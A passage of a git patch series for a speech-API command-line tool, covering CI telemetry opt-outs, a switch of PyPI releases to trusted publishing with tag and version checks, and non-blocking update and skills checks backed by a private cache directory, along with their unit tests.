+    assert "(network_unavailable)" in flat
+    assert KEY not in err
diff --git a/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/command.py b/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/command.py
index 1e2a69c3..0e47f501 100644
--- a/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/command.py
+++ b/packages/deepctl-cmd-debug-toolkit/src/deepctl_cmd_debug_toolkit/command.py
@@ -9,6 +9,9 @@
 
 import click
 from deepctl_core import AuthenticationError, AuthManager, BaseGroupCommand, Config
+
+# Already loaded with BaseGroupCommand (deepctl_core.base_command imports it).
+from deepctl_core.hosts import DEFAULT_BASE_URL
 from rich.console import Console
 
 from .fetcher import get_cached_manifest, get_or_fetch_script, refresh_manifest
@@ -16,6 +19,9 @@
 
 console = Console()
 
+# The streaming endpoint the examples point at, built from the one default.
+_LISTEN_WS_URL = DEFAULT_BASE_URL.replace("https://", "wss://", 1) + "/v1/listen"
+
 
 class ToolkitCommand(BaseGroupCommand):
     """Runs field engineering scripts from deepgram/support-toolkit."""
@@ -35,8 +41,8 @@ class ToolkitCommand(BaseGroupCommand):
 
     examples = [
         "dg debug toolkit refresh",
-        "dg debug toolkit latency wss://api.deepgram.com/v1/listen",
-        "dg debug toolkit latency wss://api.deepgram.com/v1/listen --duration=60",
+        f"dg debug toolkit latency {_LISTEN_WS_URL}",
+        f"dg debug toolkit latency {_LISTEN_WS_URL} --duration=60",
     ]
 
     def setup_commands(self) -> list[click.Command]:
diff --git a/packages/deepctl-core/src/deepctl_core/messages.py b/packages/deepctl-core/src/deepctl_core/messages.py
index 870b51c6..10639f8c 100644
--- a/packages/deepctl-core/src/deepctl_core/messages.py
+++ b/packages/deepctl-core/src/deepctl_core/messages.py
@@ -31,7 +31,7 @@
 # The command comes last, with no trailing period, so it can be copied.
 E_FH_PROFILE_HINT = (
     "If you trust {host}, add it to api.allowed_hosts in {user_config}. To "
-    "switch back to Deepgram, run: dg --base-url https://api.deepgram.com "
+    "switch back to Deepgram, run: dg --base-url https://api.deepgram.com "  # host-literal: user text
     "login --profile {profile} --save-base-url --force-write"
 )
 # Agent-mode hint shared by every foreign_host error. Never names a flag,

From 327547e8db8b7afb78b263db2587906189d7040a Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:06:41 -0500
Subject: [PATCH 32/88] ci: keep the CLI smoke runs from sending telemetry

release.yml installs the built wheels and the published release and
runs deepctl in both. test.yml runs deepctl --version outside pytest,
where conftest.py's opt-out doesn't reach. Turn telemetry off for all
of them, and point test.yml's run at a dead loopback endpoint.
---
 .github/workflows/release.yml | 4 ++++
 .github/workflows/test.yml    | 4 ++++
 2 files changed, 8 insertions(+)

diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index f4400384..e3999d24 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -10,6 +10,10 @@ permissions:
   contents: write
   pull-requests: write
 
+# Keep CI from sending telemetry from anything this workflow runs.
+env:
+  DEEPCTL_TELEMETRY_DISABLED: "1"
+
 jobs:
   release-please:
     name: Release Please
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index ed2ea345..c81b71d0 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -38,7 +38,11 @@ jobs:
         run: |
           uv run pytest tests packages/deepctl-core/tests packages/deepctl-shared-utils/tests packages/deepctl-telemetry/tests packages/deepctl-cmd-api/tests packages/deepctl-cmd-login/tests packages/deepctl-cmd-projects/tests packages/deepctl-cmd-transcribe/tests packages/deepctl-cmd-usage/tests packages/deepctl-cmd-debug/tests packages/deepctl-cmd-debug-audio/tests packages/deepctl-cmd-debug-browser/tests packages/deepctl-cmd-debug-network/tests packages/deepctl-cmd-debug-toolkit/tests packages/deepctl-cmd-debug-probe/tests packages/deepctl-cmd-ffprobe/tests packages/deepctl-cmd-mcp/tests packages/deepctl-cmd-update/tests packages/deepctl-cmd-plugin/tests packages/deepctl-cmd-skills/tests packages/deepctl-cmd-init/tests packages/deepctl-cmd-models/tests packages/deepctl-cmd-speak/tests packages/deepctl-cmd-keys/tests packages/deepctl-cmd-read/tests packages/deepctl-cmd-listen/tests packages/deepctl-cmd-requests/tests packages/deepctl-cmd-billing/tests packages/deepctl-cmd-members/tests packages/deepctl-cmd-completion/tests packages/deepctl-plugin-example/tests --cov --cov-report=term-missing -v
 
+      # Outside pytest, so conftest.py's telemetry opt-out doesn't apply.
       - name: Test CLI installation
+        env:
+          DEEPCTL_TELEMETRY_DISABLED: "1"
+          DEEPCTL_TELEMETRY_DSN: "http://k@127.0.0.1:9/1"
         run: |
           uv run python -c "from deepctl.main import main; print('Import successful')"
           uv run deepctl --version

From 4d194c0c55ae61a0eb550d54ae10e1e4897fbca7 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:07:59 -0500
Subject: [PATCH 33/88] ci: publish every release from release.yml with trusted
 publishing

publish-on-release.yml rebuilt and published a tag when someone
published a GitHub release by hand. Replace it with a tag input on
release.yml's workflow_dispatch, so every PyPI upload comes from one
workflow file.

A dispatch with a tag skips release-please, checks that the tag is a
vX.Y.Z published (not draft) GitHub release in the history of main,
release/* or next/*, builds that tag, and refuses to go on unless the
build holds the deepctl wheel for the tag's version. A release that
release-please cuts builds the tag it just created, not the branch the
run started on, and goes through the same version check.

The build and install-test jobs now read the repository only and keep
no credentials in the checkout.

The publish job no longer reads a long-lived API token. It runs in the
pypi environment with id-token: write, and each PyPI project accepts it
as a trusted publisher bound to release.yml and that environment.
Each upload sends every sub-package first and the root package last,
in a second step that runs only if the first succeeded. The root pins
every sub-package ==, so it is never on the index without them.

A tag dispatch can also pick index: testpypi. That uploads the same
build to TestPyPI from a separate testpypi environment, so the setup
can be tried end to end before the first real OIDC release, and it
advertises nothing.
---
 .github/workflows/publish-on-release.yml |  59 --------
 .github/workflows/release.yml            | 165 ++++++++++++++++++++++-
 2 files changed, 162 insertions(+), 62 deletions(-)
 delete mode 100644 .github/workflows/publish-on-release.yml

diff --git a/.github/workflows/publish-on-release.yml b/.github/workflows/publish-on-release.yml
deleted file mode 100644
index 673795d3..00000000
--- a/.github/workflows/publish-on-release.yml
+++ /dev/null
@@ -1,59 +0,0 @@
-name: Publish to PyPI on release
-
-# Fires when a human publishes a GitHub release with `gh release create
-# v0.X.Y` (or via the GitHub UI) to recover from a stuck release-please
-# state. Typical trigger: release-please aborts with `untagged, merged
-# release PRs outstanding` because a previous merged release PR didn't
-# get tagged, and `autorelease: pending` is stuck on it.
-#
-# Releases created by GITHUB_TOKEN (release-please's normal flow) do NOT
-# trigger this workflow because GitHub Actions intentionally blocks that
-# loop, so the standard release-please path keeps using release.yml's
-# existing publish job. This workflow ONLY fires on human-driven
-# recovery releases, so there is no double-publish race.
-#
-# Intentionally NO workflow_dispatch trigger. Manual deploys outside a
-# real release-published event have shipped landing pages and packages
-# that pointed at unreleased versions. Production publish must always
-# be anchored to a real GitHub release artifact.
-
-on:
-  release:
-    types: [published]
-
-permissions:
-  contents: read
-
-jobs:
-  publish:
-    name: Build and publish to PyPI
-    runs-on: ubuntu-latest
-    # Only fire on root-package releases (v0.2.4, v1.0.0, …).
-    # Sub-package tags look like deepctl-cmd-listen-v0.0.3, which we skip;
-    # release-please's normal flow handles those via release.yml.
-    if: startsWith(github.event.release.tag_name, 'v')
-    steps:
-      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
-        with:
-          ref: ${{ github.event.release.tag_name }}
-
-      - name: Set up Python
-        uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0  # v7.1.0
-        with:
-          python-version: "3.11"
-
-      - name: Install build dependencies
-        run: pip install build twine
-
-      - name: Build all packages
-        run: make build
-
-      - name: Verify built packages
-        run: make verify-packages
-
-      - name: Publish to PyPI
-        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086  # v1.14.3
-        with:
-          password: ${{ secrets.PYPI_API_TOKEN }}
-          packages-dir: dist/
-          skip-existing: true
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index e3999d24..af67ace9 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -4,7 +4,27 @@ on:
   push:
     branches:
       - main
+  # A dispatch with no tag runs release-please, like a push. A dispatch
+  # with a tag rebuilds and publishes that existing release instead: the
+  # way to recover when a release was tagged but never reached PyPI.
   workflow_dispatch:
+    inputs:
+      tag:
+        description: >-
+          Existing root release tag (vX.Y.Z) to rebuild and publish.
+          Leave empty to run release-please.
+        type: string
+        required: false
+        default: ""
+      index:
+        description: >-
+          Where a tag dispatch publishes. testpypi is the dry run of the
+          trusted-publishing setup and advertises nothing.
+        type: choice
+        options:
+          - pypi
+          - testpypi
+        default: pypi
 
 permissions:
   contents: write
@@ -30,6 +50,16 @@ jobs:
           token: ${{ github.token }}
           config-file: .github/release-please-config.json
           manifest-file: .github/.release-please-manifest.json
+        # Only a push or a plain dispatch cuts a release. A tag dispatch
+        # republishes an existing tag, and a TestPyPI dry run must not
+        # create a real release.
+        if: ${{ github.event_name == 'push' || (inputs.tag == '' && inputs.index != 'testpypi') }}
+
+      - name: Refuse a TestPyPI dry run without a tag
+        if: ${{ github.event_name == 'workflow_dispatch' && inputs.index == 'testpypi' && inputs.tag == '' }}
+        run: |
+          echo "::error::a TestPyPI dry run needs a tag to publish"
+          exit 1
 
   # The release PR's re-pin runs as two jobs so that no third-party code ever
   # runs next to a write credential:
@@ -222,10 +252,54 @@ jobs:
   build:
     name: Build packages
     needs: release-please
-    if: ${{ needs.release-please.outputs.release_created }}
+    if: >-
+      ${{ needs.release-please.outputs.release_created == 'true' ||
+      (github.event_name == 'workflow_dispatch' && inputs.tag != '') }}
     runs-on: ubuntu-latest
+    permissions:
+      contents: read
     steps:
       - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+        with:
+          persist-credentials: false
+          # A new release builds the tag release-please just created, not
+          # whatever the run's branch points at. A recovery checks out its
+          # tag below, and needs the branch history and its tags for that.
+          ref: ${{ (github.event_name != 'workflow_dispatch' || inputs.tag == '') && needs.release-please.outputs.tag_name || '' }}
+          fetch-depth: ${{ (github.event_name == 'workflow_dispatch' && inputs.tag != '') && '0' || '1' }}
+
+      # Only a root release tag that is already a published GitHub release
+      # and is in the history of the branch this run was started on. The
+      # publish environments accept only main, release/* and next/*.
+      - name: Check out the recovery tag
+        if: ${{ github.event_name == 'workflow_dispatch' && inputs.tag != '' }}
+        env:
+          TAG: ${{ inputs.tag }}
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          set -euo pipefail
+          # Checked before TAG is printed anywhere.
+          if ! [[ "${TAG}" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+            echo "::error::the tag input is not a root release tag (vX.Y.Z)"; exit 1
+          fi
+          case "${GITHUB_REF}" in
+            refs/heads/main | refs/heads/release/* | refs/heads/next/*) ;;
+            *) echo "::error::start a recovery from main, release/* or next/*, not ${GITHUB_REF}"; exit 1 ;;
+          esac
+          if ! git rev-parse -q --verify "refs/tags/${TAG}^{commit}" >/dev/null; then
+            echo "::error::no tag ${TAG}"; exit 1
+          fi
+          if ! git merge-base --is-ancestor "refs/tags/${TAG}^{commit}" "${GITHUB_SHA}"; then
+            echo "::error::${TAG} is not in the history of ${GITHUB_REF_NAME}"; exit 1
+          fi
+          if ! DRAFT=$(gh release view "${TAG}" --repo "${GITHUB_REPOSITORY}" --json isDraft --jq .isDraft); then
+            echo "::error::${TAG} has no GitHub release"; exit 1
+          fi
+          if [ "${DRAFT}" != "false" ]; then
+            echo "::error::${TAG}'s GitHub release is still a draft"; exit 1
+          fi
+          git checkout --detach "refs/tags/${TAG}^{commit}"
+          echo "Rebuilding ${TAG} at $(git rev-parse HEAD)"
 
       - name: Set up Python
         uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0  # v7.1.0
@@ -241,6 +315,20 @@ jobs:
       - name: Verify built packages
         run: make verify-packages
 
+      # A tag name can move; the version inside the build can't. Publish
+      # only if the tree that was built carries the tag's version.
+      - name: Check the build matches the release tag
+        if: ${{ startsWith(inputs.tag || needs.release-please.outputs.tag_name, 'v') }}
+        env:
+          TAG: ${{ inputs.tag || needs.release-please.outputs.tag_name }}
+        run: |
+          set -euo pipefail
+          if ! compgen -G "dist/deepctl-${TAG#v}-*.whl" >/dev/null; then
+            echo "::error::the build has no deepctl ${TAG#v} wheel; ${TAG} does not point at that release"
+            ls dist/
+            exit 1
+          fi
+
       - name: Upload artifacts
         uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9  # v7.0.2
         with:
@@ -251,8 +339,12 @@ jobs:
     name: Test installation
     needs: build
     runs-on: ubuntu-latest
+    permissions:
+      contents: read
     steps:
       - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+        with:
+          persist-credentials: false
 
       - name: Set up Python
         uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0  # v7.1.0
@@ -377,10 +469,20 @@ jobs:
     uses: ./.github/workflows/web-production.yml
     secrets: inherit
 
+  # Trusted Publishing: each of the 31 PyPI projects names this file and
+  # the pypi environment as its publisher, and PyPI swaps the job's OIDC
+  # token for a short-lived upload token. There is no API token to read.
+  # The pypi environment deploys only from main, release/* and next/*.
   publish:
     name: Publish to PyPI
     needs: [build, test]
+    if: ${{ github.event_name == 'push' || inputs.index == 'pypi' }}
     runs-on: ubuntu-latest
+    environment:
+      name: pypi
+      url: https://pypi.org/project/deepctl/
+    permissions:
+      id-token: write
     steps:
       - name: Download artifacts
         uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333  # v8.0.2
@@ -388,13 +490,70 @@ jobs:
           name: dist
           path: dist/
 
-      - name: Publish to PyPI
+      # The root package goes last: it pins every sub-package ==, so it must
+      # never be on the index before them. "deepctl-" sorts before
+      # "deepctl_", so one upload of dist/ would send it first.
+      - name: Hold the root package back
+        run: |
+          set -euo pipefail
+          mkdir root-dist
+          mv dist/deepctl-[0-9]* root-dist/
+          ls root-dist/
+
+      - name: Publish the sub-packages to PyPI
+        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086  # v1.14.3
+        with:
+          packages-dir: dist/
+          skip-existing: true
+
+      - name: Publish the root package to PyPI
+        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086  # v1.14.3
+        with:
+          packages-dir: root-dist/
+          skip-existing: true
+
+  # The same upload against TestPyPI, from its own environment so that its
+  # OIDC token can never match a production PyPI publisher. Nothing
+  # downstream needs this job, so a dry run advertises nothing.
+  publish-testpypi:
+    name: Publish to TestPyPI
+    needs: [build, test]
+    if: ${{ github.event_name == 'workflow_dispatch' && inputs.index == 'testpypi' }}
+    runs-on: ubuntu-latest
+    environment:
+      name: testpypi
+      url: https://test.pypi.org/project/deepctl/
+    permissions:
+      id-token: write
+    steps:
+      - name: Download artifacts
+        uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333  # v8.0.2
+        with:
+          name: dist
+          path: dist/
+
+      # Root package last, as in publish.
+      - name: Hold the root package back
+        run: |
+          set -euo pipefail
+          mkdir root-dist
+          mv dist/deepctl-[0-9]* root-dist/
+          ls root-dist/
+
+      - name: Publish the sub-packages to TestPyPI
         uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086  # v1.14.3
         with:
-          password: ${{ secrets.PYPI_API_TOKEN }}
+          repository-url: https://test.pypi.org/legacy/
           packages-dir: dist/
           skip-existing: true
 
+      - name: Publish the root package to TestPyPI
+        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086  # v1.14.3
+        with:
+          repository-url: https://test.pypi.org/legacy/
+          packages-dir: root-dist/
+          skip-existing: true
+
   bump-brew-formula:
     name: Bump Homebrew formula
     needs: [release-please, publish, verify-published]

From 9dc82c13100787ab5e5d9e62b2d7785bfcf57ac1 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:09:58 -0500
Subject: [PATCH 34/88] fix(update): never wait for the update check

The update, plugin-update and skills checks no longer join their
threads at exit. A notice prints only if its check already finished;
otherwise it is dropped and the daemon thread ends with the process.

The checks now skip CI, agent and other non-interactive runs, dg mcp,
a stderr that isn't a terminal, and DEEPCTL_NO_UPDATE_CHECK. httpx
loads only inside the check thread.

Each check records when it ran in the cache directory
(update-check.json and plugin-update-check.json; 0600 files, replaced
atomically). The record is written just before the request goes out,
so a failed or unfinished request waits a full interval before the
next attempt, and a run that ends earlier doesn't use the interval
up. When no check is due and the saved answer names a newer version,
the notice prints from it, at most once per interval (notified_at).

The cache directory must be private: one this user owns with group
or other access (a plain mkdir under umask 002) is tightened to 0700.
If it is owned by someone else or can't be tightened, the checks
don't run, with no network and no state.

dg update keeps its last answer there too, and no longer writes the
installation method or path. The old config keys are still read
while no cache file exists, and are never written again. It shows
the installation method by its plain name.
---
 .../src/deepctl_cmd_skills/startup_check.py   |  70 ++-
 .../tests/unit/test_skills_command.py         |  98 +++
 .../src/deepctl_cmd_update/check_cache.py     | 159 +++++
 .../src/deepctl_cmd_update/command.py         |  13 +-
 .../deepctl_cmd_update/plugin_update_check.py |  89 ++-
 .../src/deepctl_cmd_update/startup_check.py   | 239 +++++---
 .../src/deepctl_cmd_update/version_check.py   |  67 +-
 .../tests/unit/test_plugin_update_check.py    | 231 ++++---
 .../tests/unit/test_startup_check.py          | 572 ++++++++++++++----
 .../tests/unit/test_update_command.py         |  50 ++
 .../tests/unit/test_version_check.py          | 109 ++++
 tests/unit/test_base_url_persistence.py       |  27 +-
 12 files changed, 1341 insertions(+), 383 deletions(-)
 create mode 100644 packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py

diff --git a/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py b/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py
index 8d153221..35deb9c2 100644
--- a/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py
+++ b/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/startup_check.py
@@ -1,7 +1,11 @@
 """First-run prompt to nudge users to set up AI assistant skills.
 
-Checks for installed AI coding CLIs and prints a one-line notification
-to stderr. Shows only once (uses a cache file to track).
+Checks for installed AI coding CLIs in a daemon thread and prints a
+one-line notification to stderr after the command, only if the thread has
+already finished; dg never waits for it. Shows only once (a cache file
+records that it was shown), and only to a person at a terminal: never in
+CI, an AI agent session, under ``dg mcp``, with ``DEEPCTL_NO_UPDATE_CHECK``
+set, or when stderr isn't a terminal.
 """
 
 from __future__ import annotations
@@ -41,13 +45,44 @@ def _is_oneshot() -> bool:
     return bool(exe_path.startswith(pipx_cache))
 
 
+def _stderr_is_terminal() -> bool:
+    try:
+        return bool(sys.stderr is not None and sys.stderr.isatty())
+    except (AttributeError, OSError, ValueError):
+        return False
+
+
+def _is_agent() -> bool:
+    try:
+        from deepctl_core.output import is_agentic, is_ai_agent
+    except ImportError:
+        return False
+    return is_agentic() or is_ai_agent()
+
+
+def _opted_out() -> bool:
+    """``DEEPCTL_NO_UPDATE_CHECK`` turns off every startup check."""
+    value = os.environ.get("DEEPCTL_NO_UPDATE_CHECK", "").strip().lower()
+    return value not in ("", "0", "false", "no")
+
+
+def _is_mcp() -> bool:
+    """This run is ``dg mcp`` (root options before it allowed)."""
+    try:
+        from deepctl_cmd_update.startup_check import _subcommand
+    except ImportError:
+        args = [a for a in sys.argv[1:] if not a.startswith("-")]
+        return bool(args) and args[0] == "mcp"
+    return _subcommand() == "mcp"
+
+
 def _already_prompted() -> bool:
     return _CACHE_FILE.exists()
 
 
 def _mark_prompted() -> None:
     try:
-        _CACHE_DIR.mkdir(parents=True, exist_ok=True)
+        _CACHE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
         _CACHE_FILE.write_text("1")
     except OSError:
         pass
@@ -66,7 +101,6 @@ def _background_detect(result: dict[str, bool]) -> None:
         detected = detect_ai_clis()
         if detected:
             result["should_prompt"] = True
-            _mark_prompted()
     except Exception:
         pass
 
@@ -83,29 +117,42 @@ def check_and_notify(quiet: bool = False) -> None:
     after CLI execution to display the result.
     """
     global _thread, _result
+    _thread = None
     _result = {}
 
-    if quiet or _is_ci() or _is_oneshot() or _already_prompted():
+    if (
+        quiet
+        or _opted_out()
+        or _is_ci()
+        or not _stderr_is_terminal()
+        or _is_agent()
+        or _is_oneshot()
+        or _is_mcp()
+        or _already_prompted()
+    ):
         return
 
     _thread = threading.Thread(
         target=_background_detect,
         args=(_result,),
+        name="deepctl-skills-check",
         daemon=True,
     )
     _thread.start()
 
 
 def print_pending_notification() -> None:
-    """Print the skills prompt if AI CLIs were detected."""
+    """Print the skills prompt if the check already found AI CLIs.
+
+    Never waits: a check that is still running is dropped, and the prompt
+    is recorded as shown only once it is printed.
+    """
     global _thread
 
-    if _thread is None:
+    thread, _thread = _thread, None
+    if thread is None or thread.is_alive():
         return
 
-    _thread.join(timeout=2.0)
-    _thread = None
-
     if _result.get("should_prompt"):
         try:
             sys.stderr.write(
@@ -115,4 +162,5 @@ def print_pending_notification() -> None:
         except (BrokenPipeError, OSError, ValueError):
             # The output stream closed (e.g. an MCP host disconnected stdio
             # after `dg mcp` finished). The prompt is purely advisory.
-            pass
+            return
+        _mark_prompted()
diff --git a/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py b/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
index 700bc305..4567d8e3 100644
--- a/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
+++ b/packages/deepctl-cmd-skills/tests/unit/test_skills_command.py
@@ -965,6 +965,104 @@ def test_suppressed_when_quiet(self):
         startup_check.check_and_notify(quiet=True)
         assert startup_check._thread is None
 
+    def test_suppressed_when_stderr_is_not_a_terminal(self):
+        from deepctl_cmd_skills import startup_check
+
+        with (
+            patch.object(startup_check, "_is_ci", return_value=False),
+            patch.object(startup_check, "_is_agent", return_value=False),
+            patch.object(startup_check, "_is_oneshot", return_value=False),
+            patch.object(startup_check, "_already_prompted", return_value=False),
+            patch.object(startup_check, "_stderr_is_terminal", return_value=False),
+            patch.object(startup_check.threading, "Thread") as thread_cls,
+        ):
+            startup_check.check_and_notify(quiet=False)
+        thread_cls.assert_not_called()
+
+    @pytest.mark.parametrize("case", ["mcp", "opt-out"])
+    def test_suppressed_for_mcp_and_opt_out(self, case, monkeypatch):
+        from deepctl_cmd_skills import startup_check
+
+        monkeypatch.delenv("DEEPCTL_NO_UPDATE_CHECK", raising=False)
+        if case == "opt-out":
+            monkeypatch.setenv("DEEPCTL_NO_UPDATE_CHECK", "1")
+            mcp = False
+        else:
+            mcp = True
+        with (
+            patch.object(startup_check, "_is_ci", return_value=False),
+            patch.object(startup_check, "_is_agent", return_value=False),
+            patch.object(startup_check, "_is_oneshot", return_value=False),
+            patch.object(startup_check, "_already_prompted", return_value=False),
+            patch.object(startup_check, "_stderr_is_terminal", return_value=True),
+            patch.object(startup_check, "_is_mcp", return_value=mcp),
+            patch.object(startup_check.threading, "Thread") as thread_cls,
+        ):
+            startup_check.check_and_notify(quiet=False)
+        thread_cls.assert_not_called()
+
+    def test_mcp_detected_through_root_options(self, monkeypatch):
+        from deepctl import _cli
+        from deepctl_cmd_skills import startup_check
+
+        monkeypatch.setattr(_cli, "_run_args", ["--profile", "x", "mcp"])
+        assert startup_check._is_mcp() is True
+        monkeypatch.setattr(_cli, "_run_args", ["models"])
+        assert startup_check._is_mcp() is False
+
+    def test_suppressed_for_an_agent(self):
+        from deepctl_cmd_skills import startup_check
+
+        with (
+            patch.object(startup_check, "_is_ci", return_value=False),
+            patch.object(startup_check, "_is_agent", return_value=True),
+            patch.object(startup_check, "_stderr_is_terminal", return_value=True),
+            patch.object(startup_check.threading, "Thread") as thread_cls,
+        ):
+            startup_check.check_and_notify(quiet=False)
+        thread_cls.assert_not_called()
+
+    def test_running_check_is_dropped_without_waiting(self):
+        import threading
+
+        from deepctl_cmd_skills import startup_check
+
+        release = threading.Event()
+        startup_check._result = {"should_prompt": True}
+        thread = threading.Thread(target=release.wait, daemon=True)
+        thread.start()
+        startup_check._thread = thread
+        try:
+            with (
+                patch.object(thread, "join") as join,
+                patch.object(startup_check, "_mark_prompted") as mark,
+                patch.object(sys, "stderr", MagicMock()) as err,
+            ):
+                startup_check.print_pending_notification()
+            join.assert_not_called()
+            err.write.assert_not_called()
+            mark.assert_not_called()
+        finally:
+            release.set()
+            thread.join(timeout=5.0)
+
+    def test_marked_only_once_shown(self):
+        import threading
+
+        from deepctl_cmd_skills import startup_check
+
+        startup_check._result = {"should_prompt": True}
+        startup_check._thread = threading.Thread(target=lambda: None)
+        startup_check._thread.start()
+        startup_check._thread.join()
+        with (
+            patch.object(startup_check, "_mark_prompted") as mark,
+            patch.object(sys, "stderr", MagicMock()) as err,
+        ):
+            startup_check.print_pending_notification()
+        err.write.assert_called_once()
+        mark.assert_called_once()
+
     @pytest.mark.parametrize(
         "error",
         [
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
new file mode 100644
index 00000000..ecf7ef8a
--- /dev/null
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/check_cache.py
@@ -0,0 +1,159 @@
+"""When the update checks last ran, kept in dg's cache directory.
+
+Each check has one small JSON file there, ``update-check.json`` for dg itself
+and ``plugin-update-check.json`` for plugins, holding ``checked_at`` (Unix
+time), ``ok``, ``latest`` and ``source``, plus ``notified_at`` once a notice
+was shown. A check writes its file just before it sends its request and again
+when it gets an answer, so a check that fails or never finishes still waits a
+full interval before the next attempt, while a run that ends before the
+request goes out doesn't use up the interval.
+
+The user config file is never written here. The directory is 0700 and must be
+a real directory owned by this user: :func:`usable` tightens one this user
+owns that its group or others can reach (``mkdir`` under umask 002 leaves
+0775), and reports anything else as unusable, in which case the checks don't
+run at all. Files are 0600 and replaced atomically (``deepctl._cache``). A
+file that isn't a regular 0600-style file owned by this user, or any error,
+reads as "no state".
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import stat
+import sys
+import time
+from typing import Any
+
+UPDATE_FILE = "update-check.json"
+PLUGIN_FILE = "plugin-update-check.json"
+
+
+def _root() -> str | None:
+    try:
+        from deepctl import _cache
+    except ImportError:
+        return None
+    return _cache.cache_root()
+
+
+def usable() -> bool:
+    """Whether the checks may run: the cache directory exists (created 0700
+    if missing), is a real directory owned by this user, and is private
+    (tightened to 0700 here if its group or others had access).
+
+    ``False`` means: skip the checks this run, with no network and no state.
+    """
+    root = _root()
+    if root is None:
+        return False
+    try:
+        os.makedirs(root, mode=0o700, exist_ok=True)
+    except OSError:
+        return False
+    if sys.platform == "win32":
+        return os.path.isdir(root) and not os.path.islink(root)
+    flags = os.O_RDONLY | getattr(os, "O_DIRECTORY", 0) | getattr(os, "O_NOFOLLOW", 0)
+    try:
+        fd = os.open(root, flags)
+    except OSError:
+        return False
+    try:
+        info = os.fstat(fd)
+        if not stat.S_ISDIR(info.st_mode) or info.st_uid != os.getuid():
+            return False
+        if stat.S_IMODE(info.st_mode) & 0o077:
+            os.fchmod(fd, 0o700)
+            return not stat.S_IMODE(os.fstat(fd).st_mode) & 0o077
+        return True
+    except OSError:
+        return False
+    finally:
+        os.close(fd)
+
+
+def _directory() -> str | None:
+    """The cache directory, or ``None`` if it's missing, unsafe or unknown."""
+    root = _root()
+    if root is None:
+        return None
+    from deepctl import _cache
+
+    return root if _cache._safe_dir(root) else None
+
+
+def read(name: str) -> dict[str, Any] | None:
+    """The state saved in ``name``, or ``None``."""
+    directory = _directory()
+    if directory is None:
+        return None
+    from deepctl import _cache
+
+    data = _cache._read_private(os.path.join(directory, name))
+    if data is None:
+        return None
+    try:
+        state = json.loads(data)
+    except ValueError:
+        return None
+    return state if isinstance(state, dict) else None
+
+
+def _save(name: str, state: dict[str, Any]) -> None:
+    directory = _directory()
+    if directory is None:
+        return
+    from deepctl import _cache
+
+    try:
+        _cache._write_private(os.path.join(directory, name), json.dumps(state).encode())
+    except OSError:
+        pass
+
+
+def write(name: str, *, ok: bool, latest: str | None, source: str) -> None:
+    """Save the state of a check that ran now. Never raises."""
+    _save(
+        name,
+        {"checked_at": time.time(), "ok": ok, "latest": latest, "source": source},
+    )
+
+
+def mark_notified(name: str) -> None:
+    """Record that the notice for the saved state was shown now."""
+    state = read(name)
+    if state is not None:
+        state["notified_at"] = time.time()
+        _save(name, state)
+
+
+def _time(state: dict[str, Any] | None, key: str) -> float:
+    value = (state or {}).get(key)
+    if isinstance(value, bool) or not isinstance(value, (int, float)):
+        return 0.0
+    return float(value)
+
+
+def checked_at(state: dict[str, Any] | None) -> float:
+    """When the check in ``state`` ran (``0.0`` if unknown)."""
+    return _time(state, "checked_at")
+
+
+def notified_at(state: dict[str, Any] | None) -> float:
+    """When the notice for ``state`` was last shown (``0.0`` if never)."""
+    return _time(state, "notified_at")
+
+
+def elapsed(since: float, interval: float) -> bool:
+    """Whether at least ``interval`` seconds passed since ``since``.
+
+    A time in the future (a clock that moved back) counts as passed.
+    """
+    gone = time.time() - since
+    return not 0 <= gone < interval
+
+
+def due(name: str, interval: float) -> bool:
+    """Whether at least ``interval`` seconds passed since the last check."""
+    return elapsed(checked_at(read(name)), interval)
